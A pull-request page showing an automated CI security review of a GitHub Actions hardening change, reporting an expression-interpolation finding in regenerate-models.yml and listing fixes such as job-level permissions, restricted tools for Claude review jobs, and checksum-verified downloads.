`review-failed` sentinel file handles the blocking signal.
Author
Owner

CI Security Review

Critical / High

No critical or high severity findings.

Medium

  1. regenerate-models.yml:145,160,162 — Direct expression interpolation in run block (safe by construction but fragile)

    The steps.label.outputs.title, inputs.provider, and steps.label.outputs.suffix values are interpolated directly in run blocks on lines 145, 160, and 162 rather than passed via env. Currently safe because inputs.provider is a restricted choice enum (all|aws|gcp|hetzner|digitalocean) and the title/suffix outputs are derived deterministically from that enum. However, if someone later adds a freetext input or changes how these values are computed, this becomes an expression injection vector. The safe pattern (already applied correctly in ci.yml:38-40 for BASE_SHA/HEAD_SHA) is to pass values via env and reference them as shell variables.

    Risk: Low exploitability today since all values are from a fixed choice list. Flagged as medium because the pattern is fragile to future changes.

    Suggested fix: Move these to env blocks, matching the pattern used in ci.yml.

Low

  1. ci.yml — Workflow-level permissions vs. job-level for non-review jobs

    The workflow declares permissions contents read at the workflow level (line 8-9). The three Claude review jobs correctly override this with job-level permissions. All other jobs inherit the workflow-level contents read, which is the minimum they need. This is acceptable, but the ideal pattern is to declare all permissions at the job level for clarity. Not a security issue given the current workflow-level permission is read-only.

Positive Security Observations

This PR is primarily a security hardening pass. Notable improvements:

  1. Expression injection fix (ci.yml:38-40): github.event.pull_request.base.sha and head.sha are now passed via env instead of direct interpolation in the run block.

  2. Permissions moved to job-level (auto-response.yml): issues write and contents read moved from workflow-level to the automove job. Follows the principle of least privilege.

  3. Workflow-level permissions added (publish.yml): Explicit permissions contents read added, preventing jobs from inheriting the default (often write-all) token permissions.

  4. Output path hardened (all review jobs in ci.yml): Review artifacts moved from /tmp/ to RUNNER_TEMP/review/, an isolated per-job directory managed by the runner.

  5. Tool scope tightened (all review jobs): Glob removed from allowedTools. Remaining tools (Read, Grep, scoped Bash for git diff, git log, tee, and touch) are well-restricted.

  6. Prompt hardening (all prompt files): Added explicit SCOPE RULES. Changed files are now explicitly listed in the prompt. All prompts retain the security preamble about untrusted user data.

  7. jq replaced with python3 (publish.yml, regenerate-models.yml): json.dumps/json.load properly handle escaping. auto-response.yml correctly uses JSON.stringify for attacker-controlled issue content.

  8. Claude binary integrity (all review jobs): Downloaded with version pinning and SHA-256 checksum verification.

  9. Supply chain: All actions use acceptable pins. No unpinned or untrusted third-party actions.

  10. No dangerous triggers: No pull_request_target usage. The issues trigger in auto-response.yml handles attacker-controlled content safely through JSON.stringify and the Octokit API.

Verdict

PASS — This PR is a security hardening pass that fixes an expression injection pattern, tightens permissions to job-level scope, hardens LLM prompt construction, and moves output artifacts to isolated runner temp directories. The one medium finding (direct expression interpolation in regenerate-models.yml) is safe today due to the restricted input enum but should be addressed to match the safer pattern already used elsewhere in this PR.

## CI Security Review ### Critical / High No critical or high severity findings. ### Medium 1. **regenerate-models.yml:145,160,162 — Direct expression interpolation in run block (safe by construction but fragile)** The steps.label.outputs.title, inputs.provider, and steps.label.outputs.suffix values are interpolated directly in run blocks on lines 145, 160, and 162 rather than passed via env. Currently safe because inputs.provider is a restricted choice enum (all|aws|gcp|hetzner|digitalocean) and the title/suffix outputs are derived deterministically from that enum. However, if someone later adds a freetext input or changes how these values are computed, this becomes an expression injection vector. The safe pattern (already applied correctly in ci.yml:38-40 for BASE_SHA/HEAD_SHA) is to pass values via env and reference them as shell variables. **Risk**: Low exploitability today since all values are from a fixed choice list. Flagged as medium because the pattern is fragile to future changes. **Suggested fix**: Move these to env blocks, matching the pattern used in ci.yml. ### Low 1. **ci.yml — Workflow-level permissions vs. job-level for non-review jobs** The workflow declares permissions contents read at the workflow level (line 8-9). The three Claude review jobs correctly override this with job-level permissions. All other jobs inherit the workflow-level contents read, which is the minimum they need. This is acceptable, but the ideal pattern is to declare all permissions at the job level for clarity. Not a security issue given the current workflow-level permission is read-only. ### Positive Security Observations This PR is primarily a security hardening pass. Notable improvements: 1. **Expression injection fix** (ci.yml:38-40): github.event.pull_request.base.sha and head.sha are now passed via env instead of direct interpolation in the run block. 2. **Permissions moved to job-level** (auto-response.yml): issues write and contents read moved from workflow-level to the automove job. Follows the principle of least privilege. 3. **Workflow-level permissions added** (publish.yml): Explicit permissions contents read added, preventing jobs from inheriting the default (often write-all) token permissions. 4. **Output path hardened** (all review jobs in ci.yml): Review artifacts moved from /tmp/ to RUNNER_TEMP/review/, an isolated per-job directory managed by the runner. 5. **Tool scope tightened** (all review jobs): Glob removed from allowedTools. Remaining tools (Read, Grep, scoped Bash for git diff, git log, tee, and touch) are well-restricted. 6. **Prompt hardening** (all prompt files): Added explicit SCOPE RULES. Changed files are now explicitly listed in the prompt. All prompts retain the security preamble about untrusted user data. 7. **jq replaced with python3** (publish.yml, regenerate-models.yml): json.dumps/json.load properly handle escaping. auto-response.yml correctly uses JSON.stringify for attacker-controlled issue content. 8. **Claude binary integrity** (all review jobs): Downloaded with version pinning and SHA-256 checksum verification. 9. **Supply chain**: All actions use acceptable pins. No unpinned or untrusted third-party actions. 10. **No dangerous triggers**: No pull_request_target usage. The issues trigger in auto-response.yml handles attacker-controlled content safely through JSON.stringify and the Octokit API. ### Verdict **PASS** — This PR is a security hardening pass that fixes an expression injection pattern, tightens permissions to job-level scope, hardens LLM prompt construction, and moves output artifacts to isolated runner temp directories. The one medium finding (direct expression interpolation in regenerate-models.yml) is safe today due to the restricted input enum but should be addressed to match the safer pattern already used elsewhere in this PR.
stack72 deleted branch fix/ci-jq-and-security-hardening 2026-05-27 14:57:04 +00:00
Sign in to join this conversation.
No reviewers
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
swamp-club/swamp-extensions!2
No description provided.